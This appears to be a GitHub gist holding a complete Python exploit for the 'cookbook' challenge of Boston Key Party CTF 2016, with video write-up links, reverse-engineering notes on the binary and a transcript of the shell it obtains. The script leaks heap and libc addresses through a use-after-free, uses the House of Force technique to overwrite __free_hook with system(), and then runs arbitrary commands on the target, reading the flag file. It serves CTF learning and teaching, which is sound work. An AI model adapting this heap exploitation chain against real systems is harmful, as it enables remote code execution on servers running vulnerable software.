Skip to content

Instantly share code, notes, and snippets.

@LiveOverflow
Last active June 6, 2022 11:54
Show Gist options
  • Star 11 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save LiveOverflow/dadc75ec76a4638ab9ea to your computer and use it in GitHub Desktop.
Save LiveOverflow/dadc75ec76a4638ab9ea to your computer and use it in GitHub Desktop.
Exploit for cookbook challenge from Boston Keyparty CTF 2016
import struct
import sys
import subprocess
import socket
import telnetlib
import ctypes
"""
Cookbook - 6 - 0 solves : pwn: a top chef wrote this cookbook for me but i think he has an extra secret recipe!
https://s3.amazonaws.com/bostonkeyparty/2016/58056c425dc617b65f94a8b558a4699fedf4a9fb.tgz
cookbook.bostonkey.party 5000
Video write-up:
* Part 1 - Reverse Engineering the binary - https://www.youtube.com/watch?v=f1wp6wza8ZI
* Part 2 - Leaking heap and libc address - https://www.youtube.com/watch?v=dnHuZLySS6g
* Part 3 - Creating an arbitrary write - House of Force - https://www.youtube.com/watch?v=PISoSH8KGVI
All my video write-ups as YouTube playlist: https://www.youtube.com/watch?v=f1wp6wza8ZI&index=1&list=PLhixgUqwRTjywPzsTYz28I-qezFOSaUYz
References:
http://phrack.org/issues/66/10.html
https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/
"""
# ======================================================
# SETUP / HELPER FUNCTIONS
# ======================================================
PRINTF_OFFSET = None
FREE_HOOK_OFFSET = None
SYSTEM_OFFSET = None
LEAKED_HEAP_ADDR = None
FREE_HOOK_PTR = None
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# convert 0x44434241 -> "\x41\x42\x43\x44"
p32 = lambda x: struct.pack("I", x)
# convert signed int to unsigned -1 -> 0xffffffff
def stou(i):
return ctypes.c_uint32(i).value
# receive all strings until timeout hits
def recv_all():
b = ""
last_recv = True
while last_recv:
try:
last_recv = s.recv(1024)
except socket.timeout:
last_recv = None
if last_recv:
b += last_recv
return b
# send string over socket
def send(msg):
s.send(msg+'\n')
# define some variables for local testing or target server
if len(sys.argv)>1 and sys.argv[1] == 'bkpctf':
s.settimeout(0.5); s.connect(('cookbook.bostonkey.party', 5000))
FREE_HOOK_OFFSET = 0x14377a + 0x73886 - 0x9c
PRINTF_OFFSET = 0x4a130
SYSTEM_OFFSET = 0x3b160
else:
s.settimeout(0.05); s.connect(('192.168.9.110', 2323))
FREE_HOOK_OFFSET = 0x13339a + 0x76c66 - 0xa0
PRINTF_OFFSET = 0x4d280
SYSTEM_OFFSET = 0x40190
# ======================================================
# HEAP HELPER FUNCTIONS
# ======================================================
# will allocate <nr> amount of small chunks to fill holes and line everything up
def fill_heap(nr):
print "| heap grooming. Fill heap holes with 0x{:x} small chunks".format(nr)
for i in xrange(0,nr):
send("g") # [g]ive your cookbook a name!
send(hex(0x5)) # size of name in hex
send(str(i)) # name of cookbook
# creates a recipe, dsicards it. At it's place allocate a new Ingredient and adds it to it's list.
# ingredient list: [ingredient addr][next]
def add_leak(addr,groom=0x200):
# groom will fill up all fragemnted heap chunks. So we have a nice new fresh aligned heap to start with.
if groom>0:
fill_heap(groom)
send("c") # [c]reate recipe
send("n") # [n]ew recipe
send("g") # [g]ive recipe a name
send("XXX") # recipe name
send("n") # [n]ew recipe
send("g") # [g]ive recipe a name
send("XXX") # recipe name
# throw away recipe,free its space
send("d") # [d]iscard recipe
send("q") # [q]uit
# add a new ingredient. Will set INGREDIENTLIST. INGREDIENTLIST will be in range of freed recipe
send("a") # [a]dd ingredient
send("n") # [n]ew ingredient?
send("g") # [g]ive name to ingredient?
send("AAAA1111") # name of ingredient
send("e") # [e]xport saving changes (doesn't quit)?
send("q") # [q]uit (doesn't save)?
recv_all()
print "| overwriting ingredient list with stale recipe pointer to leak 0x{:08x}".format(addr)
send("c") # [c]reate recipe
send("g") # [g]ive recipe a name
OVERWRITE = "AAAABBBBCCCC"+p32(addr)+p32(0x00000000) # Write next ingredient that is added/saved at this address
send(OVERWRITE) # name of recipe overwrite address if ingredient list
send("q") # [q]uit
recv_all()
# add_leak adds new addresses to leak to the ingredient list
# this function reads the list and gathers all leaked values
def parse_ingredient():
recv_all()
send("l") # [l]ist ingredients
ingredient_list = recv_all().split("------")
leaked = []
for ingredient in ingredient_list[1:-1]:
leak = ingredient.split("\n")[-3:-1]
leaked.append(stou(int(leak[0][10:])))
print "| leaked: {}".format(" ".join(["[0x{:08x}]".format(i) for i in leaked]))
return leaked
# ======================================================
# START OF EXPLOIT
# ======================================================
recv_all() # recv_all just to ignore the data sent to us
send("liveoverflow") # your name
print recv_all().split("====================")[0] # print banner
print ""
print "+=============================================================+"
print "| LEAK HEAP ADDRESSES"
print "+=============================================================+"
# leaks a heap address by allocating a recipe, adding ingredient places [cost][calories][ingredient] on heap.
# free writes heap address at location of cost. leak.
# the heap is always aligned and deterministic, so even though it has ASLR,
# we can use this to predict future locations of stuff on the heap
send("c") # [c]reate recipe
send("n") # [n]ew recipe
send("a") # [a]dd ingredient
send("basil") # name of ingredient
send("0") # amount of ingredient
send("p") # [p]rint current recipe
send("d") # [d]iscard recipe
recv_all()
send("p") # [p]rint current recipe
resp = recv_all() # will leak a heap pointer
LEAKED_HEAP_ADDR = int(resp.split("\n")[3].split("-")[0])
send("q") # [q]uit
print "| leaked heap address 0x{:08x}".format(LEAKED_HEAP_ADDR)
# remove all ingredients from the ingredient. Just makes it nicer for parse_ingredient.
# not important for exploit
print "| remove all normal ingredients."
send("e") # [e]xterminate ingredient
send("water") # name of ingredient
send("e") # [e]xterminate ingredient
send("tomato") # name of ingredient
send("e") # [e]xterminate ingredient
send("basil") # name of ingredient
send("e") # [e]xterminate ingredient
send("garlic") # name of ingredient
send("e") # [e]xterminate ingredient
send("onion") # name of ingredient
send("e") # [e]xterminate ingredient
send("lemon") # name of ingredient
send("e") # [e]xterminate ingredient
send("corn") # name of ingredient
send("e") # [e]xterminate ingredient
send("olive oil") # name of ingredient
recv_all() # ignore received data.
raw_input("| continue?...")
print ""
print "+=============================================================+"
print "| LEAK PRINTF@GOT TO CALCULATE LIBC ADDRESS |"
print "+=============================================================+"
# ASLR is enabled, but application itself doesn't use ASLR
# So we know the address from GOT
print "| add address 0x{:08x} from GOT to leak.".format(0x804D010)
add_leak(0x804D010, groom=0x200) # add a GOT address to leak function addresses
leaked = parse_ingredient() # get the leaked data
print "| printf@GOT: 0x{:08x}".format(leaked[0]) # first address is address of printf()
LIBC = leaked[0] - PRINTF_OFFSET # use offset of printf to calculate LIBC base
print "| libc base address: 0x{:08x}".format(LIBC)
raw_input("| continue?...")
print ""
print "+=============================================================+"
print "| USE LIBC ADDRESS TO GET FREE_HOOK POINTER |"
print "+=============================================================+"
FREE_HOOK_PTR = LIBC+FREE_HOOK_OFFSET # with the LIBC base we can calculate the address of the free_hook pointer
print "| try to leak free_hook address from 0x{:08x}".format(FREE_HOOK_PTR)
add_leak(FREE_HOOK_PTR, groom=0x200) # add pointer to free_hook address to the leaking ingredients list
leaked = parse_ingredient()
FREE_HOOK = leaked[-1]
print "| got free_hook address: 0x{:08x}".format(FREE_HOOK)
fill_heap(0x100) # some heap grooming. align everything nicely
raw_input("| continue?...")
print ""
print "+=============================================================+"
print "| OVERWRITING THE WILDERNESS |"
print "+=============================================================+"
# we want to overwrite the last value on the heap which says how much space is left
# in this heap arena. We overwrite it with 0xFFFFFFFF. So malloc() will never think the
# heap is low on memory, and never mmap() new memory for it. Thus we can basically
# write everywhere
print "| create another stale recipe pointer"
send("c") # [c]reate recipe
send("n") # [n]ew recipe
send("d") # [d]iscard recipe
send("q") # [q]uit
print "| create two ingredients and remove one"
send("a") # [a]dd ingredient
send("n") # [n]ew ingredient?
send("n") # [n]ew ingredient?
send("d") # [d]iscard current ingredient?
send("q") # [q]uit (doesn't save)?
print "| Use after free recipe overwriting the wilderness with 0xFFFFFFFF"
send("c") # [c]reate recipe
send("g") # [g]ive recipe a name
send(p32(0x0) + p32(0x0)+ p32(0xFFFFFFFF) + p32(0x0))
send("q") # [q]uit
raw_input("| continue?...")
print ""
print "+=============================================================+"
print "| OVERWRITING THE av->top POINTER WITH ADR NEAR FREE_HOOK |"
print "+=============================================================+"
HEAP_WILDERNESS = LEAKED_HEAP_ADDR+0x6b1c # calculate the current end (the wilderness) of the heap
print "| the wilderness (top/last heap block) is at 0x{:08x}".format(HEAP_WILDERNESS)
HEAP_INFO = LIBC-0x1000 # calculate the address where the HEAP info, like the av->top struct is stored
print "| all the heap info stuff is at 0x{:08x}".format(HEAP_INFO)
MAGIC_MALLOC = (FREE_HOOK-16)-HEAP_WILDERNESS+0x26c8 # calculate the MAGIC_MALLOC valie
print "| this magic malloc(0x{:08x}) value will transfor av->top pointer to point to free_hook".format(MAGIC_MALLOC)
raw_input("| continue?...")
print ""
print "+=============================================================+"
print "| OVERWRITING FREE_HOOK WITH SYSTEM() |"
print "+=============================================================+"
send("g") # [g]ive your cookbook a name!
send(hex(MAGIC_MALLOC)) # use the magic malloc number
send("X") # name
# the next malloc will allocate a block at free_hook, thus we can write anything to that address
# we write the address of system() to it
print "| overwrite free_hook with system() 0x{:08x}".format(LIBC+SYSTEM_OFFSET)
send("g") # [g]ive your cookbook a name!
send("0x5") # length of name
send(p32(LIBC+SYSTEM_OFFSET))
raw_input("| continue?...")
print ""
print "+=============================================================+"
print "| !!! LET'S HOPE WE HAVE A SHELL !!! |"
print "+=============================================================+"
while True:
cmd = raw_input("~LO> ")
send("g") # [g]ive your cookbook a name!
send(hex(len(cmd)+2)) # length is the size of the command
send(cmd) # send command
recv_all()
# free the cookbook name to trigger the free_hook
send("R") # [R]emove cookbook name
print recv_all().split("====================")[0]
"""
Cool Trick:
recv_all()
t = telnetlib.Telnet()
t.sock = s
t.interact()
Shell:
> id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
> uname -a
Linux ip-172-31-61-128 3.13.0-74-generic #118-Ubuntu SMP Thu Dec 17 22:52:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
> ls -la
total 1816
drwxr-xr-x 2 cooking-manager cooking-manager 4096 Mar 5 01:38 .
drwxr-xr-x 3 root root 4096 Mar 4 03:51 ..
-rw-r--r-- 1 cooking-manager cooking-manager 220 Mar 4 03:51 .bash_logout
-rw-r--r-- 1 cooking-manager cooking-manager 3771 Mar 4 03:51 .bashrc
-rw-r--r-- 1 cooking-manager cooking-manager 675 Mar 4 03:51 .profile
-rwxr-xr-x 1 root root 17936 Mar 4 04:05 cookbook
-rw-r--r-- 1 root root 38 Mar 5 01:38 key
-rwxrwxr-x 1 cooking-manager cooking-manager 1807496 Mar 4 04:10 libc.so.6
-rwxr-xr-x 1 root root 136 Mar 4 23:46 run.sh
> cat key
BKPCTF{hey_my_grill_doesnt_work_here}
https://twitter.com/LiveOverflow/status/706543494794444802
"Solved a challenge over my skill level at @BkPctf. Worked on it over 24h... Exhausted but proud!
20423924ec8e9218332289519b7d74e258a84910"
$ echo -n "LiveOverflow - BKPCTF{hey_my_grill_doesnt_work_here}" | sha1sum
20423924ec8e9218332289519b7d74e258a84910
"""
"""
[l]ist ingredients
* loop over ingredient list. Global Pointer 0x804D094 to array at 0x0804e510 (careful aslr)
* print ingredients
[r]ecipe book
* prints your name + recipe + ingredients of recipes
[a]dd ingredient
* currently edited ingredient stored at global var 0x804D09C (INGREDIENT)
[l]ist current stats?
* if INGREDIENT is set, print it
[n]ew ingredient?
* malloc(0x90), store pointer in INGREDIENT
[c]ontinue editing ingredient?
* ? no function ???
[d]iscard current ingredient?
* free(INGREDIENT) - doesn't set INGREDIENT to 0... use after free
[g]ive name to ingredient?
* calloc(0x80)
* read name to INGREDIENT + 8
[p]rice ingredient?
* store number at INGREDIENT + 4
[s]et calories?
* store number at INGREDIENT + 0
[q]uit (doesn't save)?
* just go back
[e]xport saving changes (doesn't quit)?
* save ingredient in ingredient list, set INGREDIENT to 0
[c]reate recipe
* currently edited recipe stored at global var 0x804D0A0 (RECIPE)
[n]ew recipe
* calloc(0x40C), store pointer in RECIPE
[d]iscard recipe
* free(RECIPE) - doesn't reset RECIPE... use after free
[a]dd ingredient
* read 0x90 bytes on the stack as string and search ingredient
* if ingredient found, ask for how many should be added
* allocates small area to store points and number
* single linked list. start of linked list stored at RECIPE+0
[r]emove ingredient
[g]ive recipe a name
* fgets(0x40) to *RECIPE+0x8C
[i]nclude instructions
* exactly the same function as give name
[s]ave recipe
[p]rint current recipe
* print receipe, follow
[q]uit
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
"""
@abd-allah-abo-abd-allah
Copy link

man i want be reverse engineer , uh , may allah help me

@abd-allah-abo-abd-allah
Copy link

keep going man , your the best i see

@HACKE-RC
Copy link

man i want be reverse engineer , uh , may allah help me

it's almost more than a year, how's your reversing going on?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment